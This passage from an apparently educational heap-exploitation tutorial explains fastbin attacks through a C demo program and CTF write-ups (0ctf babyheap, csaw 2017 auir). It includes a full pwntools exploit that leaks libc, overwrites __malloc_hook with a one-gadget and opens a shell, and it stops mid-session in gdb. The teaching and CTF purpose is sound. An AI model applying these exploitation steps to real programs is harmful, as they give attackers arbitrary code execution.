    puts("Pointers in this linked list are allocated when we allocate a chunk of
the size that corresponds to the fastbin.");
    puts("So we will just allocate chunks from the fastbin after we edit a
pointer to point to our fake chunk, to get malloc to return a pointer to our
fake chunk.\n");
    puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a
memory region of our choosing.\n");

    puts("Let's start, we will allocate three chunks of size 0x30\n");
    unsigned long *ptr0, *ptr1, *ptr2;

    ptr0 = malloc(0x30);
    ptr1 = malloc(0x30);
    ptr2 = malloc(0x30);

    printf("Chunk 0: %p\n", ptr0);
    printf("Chunk 1: %p\n", ptr1);
    printf("Chunk 2: %p\n\n", ptr2);


    printf("Next we will make an integer variable on the stack. Our goal will be
to allocate a chunk to this variable (because why not).\n");

    int stackVar = 0x55;

    printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

    printf("Proceeding that I'm going to write just some data to the three heap
chunks\n");

    char *data0 = "00000000";
    char *data1 = "11111111";
    char *data2 = "22222222";

    memcpy(ptr0, data0, 0x8);
```

```
    memcpy(ptr1, data1, 0x8);
    memcpy(ptr2, data2, 0x8);

    printf("We can see the data that is held in these chunks. This data will get
overwritten when they get added to the fastbin.\n");

    printf("Chunk 0: %s\n", (char *)ptr0);
    printf("Chunk 1: %s\n", (char *)ptr1);
    printf("Chunk 2: %s\n\n", (char *)ptr2);

    printf("Next we are going to free all three pointers. This will add all of
them to the fastbin linked list. We can see that they hold pointers to chunks
that will be allocated.\n");

    free(ptr0);
    free(ptr1);
    free(ptr2);

    printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
    printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
    printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

    printf("So we can see that the top two entries in the fastbin (the last two
chunks we freed) contains pointers to the next chunk in the fastbin. The last
chunk in there contains `0x0` as the next pointer to indicate the end of the
linked list.\n\n");


    printf("Now we will edit a freed chunk (specifically the second chunk
\"Chunk 1\"). We will be doing it with a use after free, since after we freed it
we didn't get rid of the pointer.\n");
    printf("We will edit it so the next pointer points to the address of the
stack integer variable we talked about earlier. This way when we allocate this
chunk, it will put our fake chunk (which points to the stack integer) on top of
the free list.\n\n");

    *ptr1 = (unsigned long)((char *)&stackVar);

    printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1,
*ptr1);


    printf("Now we will allocate three new chunks. The first one will pretty
much be a normal chunk. The second one is the chunk which the next pointer we
overwrote with the pointer to the stack variable.\n");
    printf("When we allocate that chunk, our fake chunk will be at the top of
the fastbin. Then we can just allocate one more chunk from that fastbin to get
malloc to return a pointer to the stack variable.\n\n");

    unsigned long *ptr3, *ptr4, *ptr5;

    ptr3 = malloc(0x30);
    ptr4 = malloc(0x30);
```

```
    ptr5 = malloc(0x30);

    printf("Chunk 3: %p\n", ptr3);
    printf("Chunk 4: %p\n", ptr4);
    printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

    printf("\n\nJust like that, we executed a fastbin attack to allocate an
address to a stack variable using malloc!\n");
}
```

When we run it:

```
$       ./fastbinAttack
Today we will be discussing a fastbin attack.
There are 10 fastbins, which act as linked lists (they're separated by size).
When a chunk is freed within a certain size range, it is added to one of the
fastbin linked lists.
Then when a chunk is allocated of a similar size, it grabs chunks from the
corresponding fastbin (if there are chunks in it).
(think sizes 0x10-0x60 for fastbins, but that can change depending on some
settings)

This attack will essentially attack the fastbin by using a bug to edit the
linked list to point to a fake chunk we want to allocate.
Pointers in this linked list are allocated when we allocate a chunk of the size
that corresponds to the fastbin.
So we will just allocate chunks from the fastbin after we edit a pointer to
point to our fake chunk, to get malloc to return a pointer to our fake chunk.

So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory
region of our choosing.

Let's start, we will allocate three chunks of size 0x30

Chunk 0: 0x55bdd334b670
Chunk 1: 0x55bdd334b6b0
Chunk 2: 0x55bdd334b6f0

Next we will make an integer variable on the stack. Our goal will be to allocate
a chunk to this variable (because why not).
Integer: 55      @: 0x7ffc8e3e066c

Proceeding that I'm going to write just some data to the three heap chunks
We can see the data that is held in these chunks. This data will get overwritten
when they get added to the fastbin.
Chunk 0: 00000000
Chunk 1: 11111111
Chunk 2: 22222222

Next we are going to free all three pointers. This will add all of them to the
fastbin linked list. We can see that they hold pointers to chunks that will be
allocated.
Chunk0 @ 0x0x55bdd334b670        contains: 0
Chunk1 @ 0x0x55bdd334b6b0        contains: 55bdd334b670
Chunk2 @ 0x0x55bdd334b6f0        contains: 55bdd334b6b0

So we can see that the top two entries in the fastbin (the last two chunks we
freed) contains pointers to the next chunk in the fastbin. The last chunk in
there contains `0x0` as the next pointer to indicate the end of the linked list.

Now we will edit a freed chunk (specifically the second chunk "Chunk 1"). We
will be doing it with a use after free, since after we freed it we didn't get
rid of the pointer.
We will edit it so the next pointer points to the address of the stack integer
```

```
variable we talked about earlier. This way when we allocate this chunk, it will
put our fake chunk (which points to the stack integer) on top of the free list.

We can see it's new value of Chunk1 @ 0x55bdd334b6b0     hold: 0x7ffc8e3e066c

Now we will allocate three new chunks. The first one will pretty much be a
normal chunk. The second one is the chunk which the next pointer we overwrote
with the pointer to the stack variable.
When we allocate that chunk, our fake chunk will be at the top of the fastbin.
Then we can just allocate one more chunk from that fastbin to get malloc to
return a pointer to the stack variable.

Chunk 3: 0x55bdd334b6f0
Chunk 4: 0x55bdd334b6b0
Chunk 5: 0x7ffc8e3e066c  Contains: 0x55


Just like that, we executed a fastbin attack to allocate an address to a stack
variable using malloc!
```

0ctf babyheap

For this we are given a binary and a libc file. In order for this exploit to work, you need to run it with the right libc version (look at the exploit code to see how to do it). Let's take a look at what we have here:

```
$    file 0ctfbabyheap
0ctfbabyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$    pwn checksec 0ctfbabyheap
[*] '/home/guyinatuxedo/Desktop/prayer/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./0ctfbabyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
```

Reversing

So we can see that we are dealing with a 64 bit binary, with all of the standard elf mitigations. When we run it, we see that we are given a menu with the option to either `Allocate/Fill/Free/Dump/Exit`. When we take a look at the functions in Ghidra we don't see a `main` function. However we can find a function that looks like a menu (either by going through the functions, or checking the x-references to strings we see, and tracing back the function calls):

```
undefined8 heapPointers(void)

{
  undefined8 heapPointers;
  undefined8 menuInput;

  heapPointers = FUN_00100b70();
LAB_00101133:
  printMenu();
  menuInput = getInt();
  switch(menuInput) {
  case 1:
    allocate(heapPointers);
    goto LAB_00101133;
  case 2:
    fill(heapPointers);
    goto LAB_00101133;
  case 3:
    free(heapPointers);
    goto LAB_00101133;
  case 4:
    dump(heapPointers);
    goto LAB_00101133;
  case 5:
    break;

  return 0;
}
```

So we can see that this is a pretty standard menu function. When we take a look at the `allocate` function, we see this:

```
void allocate(long heapPointers)

{
  void *ptr;
  uint newIndex;
  int size;

  newIndex = 0;
  while( true ) {
    if (0xf < (int)newIndex) {
      return;
    }
    if (*(int *)(heapPointers + (long)(int)newIndex * 0x18) == 0) break;
    newIndex = newIndex + 1;

  printf("Size: ");
  size = getInt();
  if (size < 1) {
    return;

  if (0x1000 < size) {
    size = 0x1000;

  ptr = calloc((long)size,1);
  if (ptr != (void *)0x0) {
    *(undefined4 *)(heapPointers + (long)(int)newIndex * 0x18) = 1;
    *(long *)((long)(int)newIndex * 0x18 + heapPointers + 8) = (long)size;
    *(void **)((long)(int)newIndex * 0x18 + heapPointers + 0x10) = ptr;
    printf("Allocate Index %d\n",(ulong)newIndex);
    return;

                    /* WARNING: Subroutine does not return */
  exit(-1);
}
```

So we can see a few things here. The first is that it does a check on the amount of chunks it has allocated, and that the max is `0x10` After that it prompts us for a size, that has to be between `1 - 0x1000`. It will then allocate a chunk equal to that size with `calloc`. Proceeding that it will save a pointer to the newly allocated chunk along with its size in `heapPointers` (the arg passed to this function) . Next up we take a look at the `fill` function:

```
void fill(long heapPointers)

{
  int index;
  int size;

  printf("Index: ");
  index = getInt();
  if (((-1 < index) && (index < 0x10)) && (*(int *)(heapPointers + (long)index *
0x18) == 1)) {
    printf("Size: ");
    size = getInt();
    if (0 < size) {
      printf("Content: ");
      requestInput(*(long *)(heapPointers + (long)index * 0x18 + 0x10),
(long)size);
    }

  return;
}
```

So looking at this function, we can see a few things. First it prompts you for the index, and checks it. It will then prompt you for a size, and check if it is greater than `0`. Then it will run `requestInput` with the arguments being a pointer to the chunk we specified with an index, and the size we gave it. This function essentially just scans in the amount of bytes equal to the second argument to the pointer passed to it in the first argument. While it checks to see if the size is greater than zero, it doesn't check to see if the data will overflow it so we have a heap overflow bug. Next up we take a look at the `free` function:

```
void free(long heapPointers)

{
  int index;

  printf("Index: ");
  index = getInt();
  if (((-1 < index) && (index < 0x10)) && (*(int *)(heapPointers + (long)index *
0x18) == 1)) {
    *(undefined4 *)(heapPointers + (long)index * 0x18) = 0;
    *(undefined8 *)(heapPointers + (long)index * 0x18 + 8) = 0;
    free(*(void **)(heapPointers + (long)index * 0x18 + 0x10));
    *(undefined8 *)(heapPointers + (long)index * 0x18 + 0x10) = 0;

  return;
}
```

Starting out we see it prompts us for an index, and performs the same index check on it. After that it will free the chunk pointer, and zero out the various elements of the data stored in `heapPointers` (so no use after free). Also since the `allocate` function looks for the first blank spot, after we free a chunk that index will be the first one allocated after that. Next up we have the `dump` function:

```
void dump(long heapPointers)

{
  undefined8 uVar1;
  int index;

  printf("Index: ");
  index = getInt();
  if (((-1 < index) && (index < 0x10)) && (*(int *)(heapPointers + (long)index *
0x18) == 1)) {
    puts("Content: ");
    uVar1 = *(undefined8 *)(heapPointers + (long)index * 0x18 + 8);
    printChunk(*(undefined8 *)(heapPointers + (long)index * 0x18 + 0x10),uVar1,
(long)index * 0x18,
                uVar1);
    puts("");

  return;
}
```

Here it prompts us for an index and checks it, just like every other function. Then it will print the contents of the chunk for us with the `printChunk` function.

Exploitation

So we have the ability to freely allocate and free chunks between `1-0x1000` bytes in size, and up to `0x10` chunks at a time. We can also view the contents of the chunks, and have a heap overflow bug. For this exploit, there will be two parts. The first will involve causing heap consolidation to get a libc infoleak. The second will involve using a Fastbin Attack to write a oneshot gadget to the hoo of malloc. The libc infoleak will allow us to break ASLR in libc and know the address of everything, and writing over the malloc hook with a ROP gadget (that will call system) will give us a shell when we call malloc (we need the infoleak to figure out where the malloc hook and rop gadget are):

Infoleak

For the infoleak, we will be using a heap consolidation technique. Below you can see exactly how we allocate/free/manage space:

First we allocate four chunks:

```
0xf0:    0
0x70:    1
0xf0:    2
0x30:    3
```

Proceeding that we will free chunks 0 and 1. This will add those chunks to the free list, and if we allocate a chunk of a similar size we will get that chunk again:

```
0xf0:    (freed)
0x70:    (freed)
0xf0:    2
0x30:    3
```

Now that they have been added to the free list, we can allocate another chunk that is `0x78` bytes large. Due to it's size (and the fact that we just freed a chunk of similar size) it will take the place of the old chunk 1:

```
0xf0:    (freed)
0x78:    0
0xf0:    2
0x30:    3
```

With that we can overflow chunk 2's metadata by using the bug we found with filling chunk 0. We will overflow the previous chunk size to be `0x180` , and the previous chunk in use bit to be `0x0` . That way when we free chunk `2` , it will think that the previous chunk isn't in use, and that the previous chunk's size is `0x180` . As a result it will move the heap back to where the first chunk 0 was, so when we allocate new heap space it will start where the first chunk 0 was:

```
0xf0:    (freed)
0x78:    0 Filled with data to overflow 2
0xf0:    2 (previous chunk overflowed to 0x180, previous in use bit overflowed
to 0x0)
0x30:    3
```

Now that chunk 2's metadata has been overflowed, we can go ahead and free it. This will move the heap back to where the first chunk 0 was. By doing this, it will effictively forget about the new chunk 0, and will allow us to push a libc address into it's data section (the section after the heap metadata) so we can just print the chunk and leak the libc address:

```
0xf0:    (freed)
0x78:    0
0xf0:    (freed)
0x30:    3
```

Proceeding that we can just allocate a new chunk that is `0xf0` bytes large (same size as original chunk 0), and it will push the libc address for `main_arena+88` into the data section of chunk 0:

```
0xf0:    1
0x78:    0 main_arena+88 in content section
0xf0:    (freed)
0x30:    3
```

Proceeding that we can just print the contents of chunk 0, and we will leak the libc address for `main_arena+88` (main arena contains heap memory that can be allocated without directly calling `mmap`).

Write over Malloc Hook

Now that we have the libc leak, we can execute the write over the malloc hook. In order to do this, we will need to create a fake chunk in libc (where the malloc hook is), and get calloc to return it. This way we can write to the malloc hook by writing to the fake chunk.

In order to do this, we will need to allocate the same chunk twice, which we can do if the chunk has multiple entries in the free list. This can be done if we execute a double free. Luckily for us, the infoleak leaves us in a good situation for this. This is because chunk 0 is essentially forgotten about, so if we format it write we will be able to allocate a chunk where chunk 0 currently is, that way we would have two pointers to the same chunk. Using those two pointers, we can free the same chunk twice and add the entry to the free list twice.

So this will start off from where the infoleak ended. We will continue by freeing chunk 1, so we can reformat our heap space to allocate another pointer to where chunk 0 is:

```
0xf0:    (freed)
0x78:    0
0xf0:    (freed)
0x30:    3
```

Proceeding that we can allocate four new chunks. The first chunk will be `0x10` bytes large, and the other three will be `0x60` bytes large. With that, due to the heap metadata the third chunk will directly overlap with the old chunk 0. As a result we would have the two pointers to the same chunk that we need:

```
0x10:    1
0x60:    2
0x60:    4
0xf0 & 0x60:    0 & 5 (these two chunks begin at exactly the same spoit, and
have the same ptr)
0x30:    3
```

Proceeding this we can free the chunks `5`, `4`, and `0`. We need to free another chunk in between `5` and `4`, the reason for this being that when we free one of those chunks, it gets placed at the top of the free list. In addition to that if we free a chunk that is at the top of the free list, the program crashes. So if we free a chunk in between, when the same chunk get's freed again it won't be while it is also at the top of the free chunk (thus the program won't crash):

```
0x10:    1
0x60:    2
0x60:    (freed)
0xf0 & 0x60:    (freed) (these two chunks begin at exactly the same spoit, and
have the same ptr)
0x30:    3
```

Now our free list starts with chunks `5`, `4`, and `0`. Proceeding that we can allocate another two chunks of the same size as `5`, `4`, and `0`. This will allow us to edit the memory that the old `0` & `5` chunks point to:

```
0x10:    1
0x60:    2
0x60:    4
0xf0 & 0x60:    (freed & 0) (these two chunks begin at exactly the same spoit,
and have the same ptr)
0x30:    3
```

Now that we have a chunk that is allocated and on top of the free list, we can get ready to add the fake chunk to the free list. To do this we will edit chunk 0, and write the address a little bit before the malloc_hook to it. The reason for this being is that when we allocate this new chunk that starts with this address, it will add that address to the free list (the reason why integer that we picked the one that is in the exploit is because it points to an integer that malloc will think is a free size, so the program doesn't crash):

```
0x10:    1
0x60:    2
0x60:    4
0xf0 & 0x60:    (freed & 0) (these two chunks begin at exactly the same spoit,
and have the same ptr) content = fake chunk address
0x30:    3
```

Now we can just allocate chunk 5 again, and due to the previous steps the address of our fake chunk will get added to the free list:

```
0x10:    1
0x60:    2
0x60:    4
0xf0 & 0x60:    (5 & 0) (these two chunks begin at exactly the same spoit, and have the same ptr) content = fake chunk address
0x30:    3
```

Now that the fake chunk has been added (and is at the top) of the free list, we can just allocate the fake chunk:

```
0x10:    1
0x60:    2
0x60:    4
0xf0 & 0x60:    (5 & 0) (these two chunks begin at exactly the same spoit, and have the same ptr) content = fake chunk address
0x30:    3
0x60:    6    fake chunk for malloc_hook
```

Now that we have a fake chunk, we can write over the malloc_hook. The value we will write over the malloc hook will be a ROP Gadget that due to our setup, we can just call that one address and get a shell. For this we will be using the tool One_Gadget from https://github.com/david942j/one_gadget to "One Shot" the program with a single ROP Gadget from libc that will give us a shell. To use this tool, you just need to point it at the libc file you are using (we will be using the gadget at `0x4526a`):

```
one_gadget libc-2.23.so
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
```

Exploit

Putting it all together, we have the following exploit. Also this exploit will only work against libc version `libc-2.23.so`. If you are running an OS with a different libc version, you can just used `LD_PRELOAD` to swap out the libc version. Also I ran this exploit on `Ubuntu 16.04.6` sine Ubuntu 18.04 doesn't work well with this libc version (at least when I try this):

```
# Import pwntools
from pwn import *

# First establish the target process and libc file
target = process('./0ctfbabyheap', env={"LD_PRELOAD":"./libc-2.23.so"}) # The
ld_preload is used to switch out the libc version we are using
#gdb.attach(target)
elf = ELF('libc-2.23.so')

# Establish the functions to interact with the program
def alloc(size):
    target.recvuntil("Command: ")
    target.sendline("1")
    target.recvuntil("Size: ")
    target.sendline(str(size))

def fill(index, size, content):
    target.recvuntil("Command: ")
    target.sendline("2")
    target.recvuntil("Index: ")
    target.sendline(str(index))
    target.recvuntil("Size: ")
    target.sendline(str(size))
    target.recvuntil("Content: ")
    target.send(content)

def free(index):
    target.recvuntil("Command: ")
    target.sendline("3")
    target.recvuntil("Index: ")
    target.sendline(str(index))

def dump(index):
    target.recvuntil("Command")
    target.sendline("4")
    target.recvuntil("Index: ")
    target.sendline(str(index))
    target.recvuntil("Content: \n")
    content = target.recvline()
    return content

# Make the initial four allocations, and fill them with data
alloc(0xf0)# Chunk 0
alloc(0x70)# Chunk 1
alloc(0xf0)# Chunk 2
alloc(0x30)# Chunk 3
fill(0, 0xf0, "0"*0xf0)
fill(1, 0x70, "1"*0x70)
fill(2, 0xf0, "2"*0xf0)
fill(3, 0x30, "3"*0x30)

# Free the first two
```

```
free(0)# Chunk 0
free(1)# Chunk 1

# Allocate new space where chunk 1 used to be, and overflow chunk chunk 2's
previous size with 0x180 and the previous in use bit with 0x0 by pushing 0x100
alloc(0x78)# Chunk 0
fill(0, 128, '4'*0x70 + p64(0x180) + p64(0x100))

# Free the second chunk, which will bring the edge of the heap before the new
chunk 0, thus effictively forgetting about Chunk 0
free(2)

# Allocate a new chunk that will move the libc address for main_arena+88 into
the content
alloc(0xf0)# Chunk 1
fill(1, 0xf0, '5'*0xf0)

# Print the contents of chunk 0, and filter out the main_arena+88 infoleak, and
calculate the offsets for everything else
leak = u64(dump(0)[0:8])
libc = leak - elf.symbols['__malloc_hook'] - 0x68
system = libc + 0x4526a
malloc_hook = libc + elf.symbols['__malloc_hook']
free_hook = libc + elf.symbols['__free_hook']
fake_chunk = malloc_hook - 0x23
log.info("Leak is:        " + hex(leak))
log.info("System is:      " + hex(system))
log.info("Free hook is:   " + hex(free_hook))
log.info("Malloc hook is: " + hex(malloc_hook))
log.info("Fake chunk is:  " + hex(fake_chunk))
log.info("libc is:        " + hex(libc))

# Free the first chunk to make room for the double free/fastbin duplicaion
free(1)

# Allocate the next four chunks, chunk 5 will directly overlap with chunk 0 and
both chunks will have the same pointer
alloc(0x10)# Chunk 1
alloc(0x60)# Chunk 2
alloc(0x60)# Chunk 4
alloc(0x60)# Chunk 5

# Commence the double free by freeing 5 then 0, and 4 in between to stop a crash
free(5)
free(4)
free(0)

# Allocate 2 chunks, fill in the chunk that was freed twice with the fake chunk,
allocate that chunk again to add the fake chunk to the free list
alloc(0x60)# Chunk 4
alloc(0x60)# Chunk 5
fill(0, 0x60, p64(fake_chunk) + p64(0) + 'y'*0x50)
alloc(0x60)# Chunk 0
```

```
# Allocate the fake chunk, and write over the malloc hook with the One Shot
Gadget
alloc(0x60)# Chunk 6
fill(6, 0x1b, 'z'*0x13 + p64(system))

# Trigger a Malloc call to trigger the malloc hook, and pop a shell
target.sendline('1\n1\n')
target.recvuntil("Size: ")

# Drop to an interactive shell to use the shell
target.interactive()
```

csaw 2017 auir

Let's take a look at the binary:

```
$       pwn checksec auir
[*] '/Hackery/pod/modules/fastbin_attack/csaw17_auir/auir'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$       file auir
auir: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32, stripped
$       ./auir
|-------------------------------|
|AUIR AUIR AUIR AUIR AUIR AUIR A|
|-------------------------------|
[1]MAKE ZEALOTS
[2]DESTROY ZEALOTS
[3]FIX ZEALOTS
[4]DISPLAY SKILLS
[5]GO HOME
|-------------------------------|
>>
```

So we can see that we are dealing with a `64` bit binary, with a Non-Executable stack. The program gives us a menu to either Make/Destroy/Fix/Display Zealots and Skills. In addition to that we are given a libc file `libc-2.23.so`

Reversing

So when we reverse this, it becomes clear pretty quickly that the code has been obfuscated and will be a pain to reverse. How I reversed this was I looked for strings that a particular option displayed, which would lead me to a function, and I would just skim over the C pseudocode for it. Also I did a bit of guess and check with assuming what options did what. Then I would go into gdb, and verify what I saw from the function. From that we can determine that the 5 options do the following:

```
MAKE ZEALOTS:   Prompts you for a size, allocates that size in the heap with malloc, then allows you to scan in the amount of bytes allocated into the heap chunk.
DESTROY ZEALOTS: It frees the heap chunk for the zealot you give it.
FIX ZEALOTS: Allows you to scan in data into a Zealot. Does not check for an overflow.
DISPLAY SKILLS: Prints the first 8 bytes of data from the Zealot you provide it with.
GO HOME: Exits the program
```

In addition to that, we find that in the bss section of memory there are two interesting pieces of data. These can also be found by searching for the data we inputted and seeing where in the heap they were, then searching for where the pointers to those memory areas were stored (based on previous experience I kind of assumed this program would have something like these):

```
0x605310:       Stores pointers for all of the Zealots allocated
0x605630:       Integer that stores the amount of Zealots allocated
```

and we can confirm that with gdb:

```
gdb-peda$ x/4g 0x605310
0x605310:       0x0000000000617c20      0x0000000000617c40
0x605320:       0x0000000000617c60      0x0000000000000000
gdb-peda$ x/x 0x605630
0x605630:       0x0000000000000003
gdb-peda$ x/s 0x617c20
0x617c20:       "15935728\n"
gdb-peda$ x/s 0x617c40
0x617c40:       "75395128\n"
```

Now what is interesting here, is that if we destroy a zealot, a pointer for it in the bss remains, and the integer which holds the total count stays the same. This means that even after we free the chunk of space allocated for a zealot, we can edit that space again, and even free it again (both of which are major bugs). In addition to that, we also have the heap overflow bug from the FIX ZEALOTS option not checking if it is going to overflow the space it is writing to. So to sum it all up, we have a Heap Overflow bug in FIX ZEALOTS, and a Use After Free and Double Free bug because the DESTROY ZEALOTS leaves behind a pointer it frees.

Exploitation

So we have a Use After Free and a heap overflow bug. We will use the use after free bug to get a libc infoleak, by allocating several chunks then freeing them. In this version of libc it stores arena pointers around certain freed chunks which point to somewhere in the libc, so by printing freed chunks we will be able to leak libc addresses if we align it right.

Proceeding that we will use the use after free to execute a fastbin attack. We will allocate two chunks of a similar fastbin size, and free them. Then we will edit the chunk that is on the top of the fastbin (the last one freed). Since with how the fastbin works, the heap memory should be containing a pointer to the next chunk of memory. We will edit it to point to the bss a bit before `0x505310` (where the heap pointers are). Also the reason why it is a bit before is for both to account for heap metadata that will take up space, and if we get too close we will fail a malloc check and the program will crash while it tries to allocate that chunk. After we make the edit, by allocating another chunk of the same size as the two we freed, our fake chunk should be placed at the top of the fastbin. Then by allocating one more chunk of the same size, we will get malloc to return a pointer to our fake chunk.

Using that fake chunk, we will be able to overwrite the heap pointers stored at `0x605310`. We will use this to overwrite the first heap pointer with the got entry address of free. Since RELRO isn't enabled, we can do what we are about to do next. Then we will write to the chunk at index `0`, which will write to the got table entry for free. We will just overwrite it with system. Then we will just overwrite the value of the chunk at index `1` to be `/bin/sh\x00`. After that we will be able to call `system("/bin/sh")` by freeing the chunk at index `1`.

So that was a brief high level overview. Let's see how the memory is actually manipulated:

Libc Infoleak

First allocated some chunks (I allocated four):

```
gef➤  x/100g 0xdfec10
0xdfec10:	0x0	0x101
0xdfec20:	0x3030303030303030	0x3030303030303030
0xdfec30:	0x3030303030303030	0x3030303030303030
0xdfec40:	0x3030303030303030	0x3030303030303030
0xdfec50:	0x3030303030303030	0x3030303030303030
0xdfec60:	0x3030303030303030	0x3030303030303030
0xdfec70:	0x3030303030303030	0x3030303030303030
0xdfec80:	0x3030303030303030	0x3030303030303030
0xdfec90:	0x3030303030303030	0x3030303030303030
0xdfeca0:	0x3030303030303030	0x3030303030303030
0xdfecb0:	0x3030303030303030	0x3030303030303030
0xdfecc0:	0x3030303030303030	0x3030303030303030
0xdfecd0:	0x3030303030303030	0x3030303030303030
0xdfece0:	0x3030303030303030	0x3030303030303030
0xdfecf0:	0x3030303030303030	0x3030303030303030
0xdfed00:	0x3030303030303030	0x3030303030303030
0xdfed10:	0x0	0x81
0xdfed20:	0x3131313131313131	0x3131313131313131
0xdfed30:	0x3131313131313131	0x3131313131313131
0xdfed40:	0x3131313131313131	0x3131313131313131
0xdfed50:	0x3131313131313131	0x3131313131313131
0xdfed60:	0x3131313131313131	0x3131313131313131
0xdfed70:	0x3131313131313131	0x3131313131313131
0xdfed80:	0x3131313131313131	0x3131313131313131
0xdfed90:	0x0	0x101
0xdfeda0:	0x3232323232323232	0x3232323232323232
0xdfedb0:	0x3232323232323232	0x3232323232323232
0xdfedc0:	0x3232323232323232	0x3232323232323232
0xdfedd0:	0x3232323232323232	0x3232323232323232
0xdfede0:	0x3232323232323232	0x3232323232323232
0xdfedf0:	0x3232323232323232	0x3232323232323232
0xdfee00:	0x3232323232323232	0x3232323232323232
0xdfee10:	0x3232323232323232	0x3232323232323232
0xdfee20:	0x3232323232323232	0x3232323232323232
0xdfee30:	0x3232323232323232	0x3232323232323232
0xdfee40:	0x3232323232323232	0x3232323232323232
0xdfee50:	0x3232323232323232	0x3232323232323232
0xdfee60:	0x3232323232323232	0x3232323232323232
0xdfee70:	0x3232323232323232	0x3232323232323232
0xdfee80:	0x3232323232323232	0x3232323232323232
0xdfee90:	0x0	0x41
0xdfeea0:	0x3333333333333333	0x3333333333333333
0xdfeeb0:	0x3333333333333333	0x3333333333333333
0xdfeec0:	0x3333333333333333	0x3333333333333333
0xdfeed0:	0x0	0x20131
```

Then I freed the bottom two and checked to see what the memory was like:

```
gef➤  x/100g 0xdfec10
0xdfec10:       0x0     0x101
0xdfec20:       0x3030303030303030      0x3030303030303030
0xdfec30:       0x3030303030303030      0x3030303030303030
0xdfec40:       0x3030303030303030      0x3030303030303030
0xdfec50:       0x3030303030303030      0x3030303030303030
0xdfec60:       0x3030303030303030      0x3030303030303030
0xdfec70:       0x3030303030303030      0x3030303030303030
0xdfec80:       0x3030303030303030      0x3030303030303030
0xdfec90:       0x3030303030303030      0x3030303030303030
0xdfeca0:       0x3030303030303030      0x3030303030303030
0xdfecb0:       0x3030303030303030      0x3030303030303030
0xdfecc0:       0x3030303030303030      0x3030303030303030
0xdfecd0:       0x3030303030303030      0x3030303030303030
0xdfece0:       0x3030303030303030      0x3030303030303030
0xdfecf0:       0x3030303030303030      0x3030303030303030
0xdfed00:       0x3030303030303030      0x3030303030303030
0xdfed10:       0x0     0x81
0xdfed20:       0x3131313131313131      0x3131313131313131
0xdfed30:       0x3131313131313131      0x3131313131313131
0xdfed40:       0x3131313131313131      0x3131313131313131
0xdfed50:       0x3131313131313131      0x3131313131313131
0xdfed60:       0x3131313131313131      0x3131313131313131
0xdfed70:       0x3131313131313131      0x3131313131313131
0xdfed80:       0x3131313131313131      0x3131313131313131
0xdfed90:       0x0     0x101
0xdfeda0:       0x7f4572c79b78  0x7f4572c79b78
0xdfedb0:       0x3232323232323232      0x3232323232323232
0xdfedc0:       0x3232323232323232      0x3232323232323232
0xdfedd0:       0x3232323232323232      0x3232323232323232
0xdfede0:       0x3232323232323232      0x3232323232323232
0xdfedf0:       0x3232323232323232      0x3232323232323232
0xdfee00:       0x3232323232323232      0x3232323232323232
0xdfee10:       0x3232323232323232      0x3232323232323232
0xdfee20:       0x3232323232323232      0x3232323232323232
0xdfee30:       0x3232323232323232      0x3232323232323232
0xdfee40:       0x3232323232323232      0x3232323232323232
0xdfee50:       0x3232323232323232      0x3232323232323232
0xdfee60:       0x3232323232323232      0x3232323232323232
0xdfee70:       0x3232323232323232      0x3232323232323232
0xdfee80:       0x3232323232323232      0x3232323232323232
0xdfee90:       0x100   0x40
0xdfeea0:       0x0     0x3333333333333333
0xdfeeb0:       0x3333333333333333      0x3333333333333333
0xdfeec0:       0x3333333333333333      0x3333333333333333
0xdfeed0:       0x0     0x20131
```

So we can see that there are the arena pointers at `0xdfeda0` and `0xdfeda8` which directly overlap with the start of our third chunk. We can leak the first pointer by just viewing the chunk at index `2`. With that we get our libc infoleak.

Fastbin Attack

Next up is the fastbin attack to allocate a fake chunk in the bss, to start overwriting heap pointers and do a got table overwrite. Picking up from where we left off in the libc infoleak, we allocate two chunks of size `0x60` and free them to add them to the fastbin list:

```
gef➤  x/10g 0x605310
0x605310:       0xfd6c20        0xfd6d20
0x605320:       0xfd6da0        0xfd6ea0
0x605330:       0xfd6da0        0xfd6e10
0x605340:       0x0     0x0
0x605350:       0x0     0x0
gef➤  x/g 0xfd6e10
0xfd6e10:       0xfd6d90
```

So we can see that the top chunk has a next pointer to the next chunk in the fastbin. We are going to edit that to be the address of our fake chunk:

```
gef➤  x/g 0xfd6e10
0xfd6e10:       0x6052ed
```

Next up we will allocate a chunk of size `0x60`. This will give us chunk `5`, and add our fake chunk to the top of the fastbin:

```
gef➤  x/10g 0x605310
0x605310:       0xfd6c20        0xfd6d20
0x605320:       0xfd6da0        0xfd6ea0
0x605330:       0xfd6da0        0xfd6e10
0x605340:       0xfd6e10        0x0
0x605350:       0x0     0x0
gef➤  search-pattern 0x00000000006052ed
[+] Searching '\xed\x52\x60\x00\x00\x00\x00\x00' in memory
[+] In '/home/guyinatuxedo/Desktop/elementary/libc-
2.23.so'(0x7f56bca04000-0x7f56bca06000), permission=rw-
